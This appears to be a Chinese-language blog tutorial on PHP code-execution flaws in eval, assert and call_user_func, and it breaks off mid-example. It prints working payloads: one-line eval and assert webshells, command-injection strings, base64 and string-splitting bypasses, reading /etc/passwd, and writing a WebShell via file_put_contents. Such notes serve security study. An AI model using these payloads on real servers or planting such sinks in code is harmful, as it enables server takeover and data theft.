PHP 代码执行漏洞完全笔记(含最新特性与实战技巧)
一、核心原理
PHP 代码执行漏洞是指攻击者通过控制用户可控输入,让应用程序执行非预期的 PHP 代码,本质是用户输入被当作 PHP 代码解析执行,破坏了 “数据” 与 “代码” 的隔离边界。这类漏洞危害极高,攻击者可直接获取服务器权限、读取敏感文件、植入恶意程序(如 WebShell),甚至横向渗透内网。
漏洞产生的核心原因:
- 危险函数未过滤用户输入(如
eval、assert); - 动态函数调用中函数名 / 参数可控;
- 代码拼接时直接嵌入用户输入,未做转义或验证;
- 旧版本 PHP 中废弃 / 危险的语法特性(如
preg_replace的/e修饰符)。
二、经典代码执行函数(含原理、示例与版本细节)
🌟1. eval 函数(最高风险)
函数原型
php
运行
mixed eval(string $code)
核心原理
- 直接将传入的字符串
$code当作 PHP 代码执行,执行结果与直接写在脚本中的代码一致; - 要求
$code必须是完整的 PHP 语句(需以分号结尾),且会继承当前作用域的变量; - 无返回值时返回
null,有返回值时返回执行结果。
风险场景
用户输入直接作为eval的参数,或拼接进eval执行的字符串中。
实战示例
-
基础利用(无过滤):
php
运行
<?php
@eval($_POST['cmd']); // 接收POST参数cmd,直接执行
?>
攻击方通过 POST 提交:cmd=phpinfo(); → 执行phpinfo(),查看服务器 PHP 配置;
-
提交:
cmd=system('whoami');→ 执行系统命令,获取当前用户权限。 -
代码拼接注入(隐蔽场景):
php
运行
<?php
$id = $_GET['id'];
eval("echo '当前ID:' . $id . ';';"); // 拼接用户输入$id
?>
攻击方构造:?id=1;system('ls /');// → 拼接后代码为:
php
运行
-
echo '当前ID:' . 1;system('ls /');// . ';';执行
system('ls /'),列出根目录文件。
版本限制
无版本限制(PHP 4+ 至 PHP 8+ 均支持),但eval是 PHP 核心函数,无法通过disable_functions完全禁用(部分安全加固方案可拦截)。
绕过技巧
- 字符串编码绕过:
eval(base64_decode('cGhwaW5mbygpOw=='));(cGhwaW5mbygpOw==是phpinfo();的 Base64 编码); - 变量替换绕过:
$a='sys';$b='tem';eval($a.$b.'("whoami");');; - 回调函数间接调用:
eval(call_user_func('base64_decode', 'c3lzdGVtKCd3aG9hbWknKTs='));。
🌟2. assert 函数(版本差异大)
函数原型
php
运行
// PHP 4~7.1.x
bool assert(mixed $assertion [, string $description]);
// PHP 7.2.0+(废弃字符串参数,仅支持bool类型)
bool assert(mixed $assertion [, Throwable $exception]);
核心原理
- PHP 7.2.0 之前:若
$assertion是字符串,会直接当作 PHP 代码执行;若为 bool 值,仅判断真假; - PHP 7.2.0 及之后:不再支持字符串作为
$assertion参数(视为语法错误),仅接受 bool 表达式或回调函数,大幅降低风险; - 执行结果为
false时,会触发警告(或自定义异常)。
风险场景
仅存在于 PHP 7.2.0 之前的版本,用户输入直接作为assert的字符串参数。
实战示例
-
基础利用(PHP ≤7.1.x):
php
运行
<?php
@assert($_POST['cmd']); // 接收POST参数cmd
?>
攻击方提交:cmd=phpinfo(); → 执行代码;
-
提交:
cmd=file_get_contents('/etc/passwd');→ 读取敏感文件。 -
拼接注入(PHP ≤7.1.x):
php
运行
-
<?php $name = $_GET['name']; assert("echo '欢迎:' . $name;"); // 拼接用户输入 ?>攻击方构造:
?name=1;system('cat /flag');//→ 拼接后执行system('cat /flag')。
版本限制
- 高风险版本:PHP 4.0.0 ~ PHP 7.1.33;
- 低风险版本:PHP 7.2.0+(字符串参数失效,仅 bool / 回调函数有效)。
绕过技巧
- 与
eval类似,支持编码、变量拼接绕过(仅限旧版本); - 利用回调函数伪装(PHP 7.2.0+):
assert(function(){system('whoami');});(需函数名可控)。
🌟3. call_user_func 函数(回调函数可控风险)
函数原型
php
运行
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $parameter ...]])
核心原理
- 第一个参数
$callback为 “可调用对象”(函数名、类方法数组、匿名函数); - 后续参数为
$callback的执行参数,按顺序传入; - 若
$callback可控,攻击者可指定危险函数(如system、exec),并传入恶意参数。
风险场景
$callback(回调函数名)或$parameter(函数参数)可控,且未做白名单过滤。
实战示例
-
回调函数 + 参数均可控:
php
运行
<?php
$func = $_POST['func'];
$arg = $_POST['arg'];
call_user_func($func, $arg); // 调用$func($arg)
?>
攻击方提交:func=system&arg=id → 执行system('id');
-
提交:
func=file_put_contents&arg[]=shell.php&arg[]=<?php eval($_POST['x']);?>→ 写入 WebShell。 -
类方法调用(回调为数组):
php
运行
-
<?php class Test { public function exec($cmd) { return shell_exec($cmd); } } $class = $_GET['class']; $method = $_GET['method']; $


被折叠的 条评论
为什么被折叠?



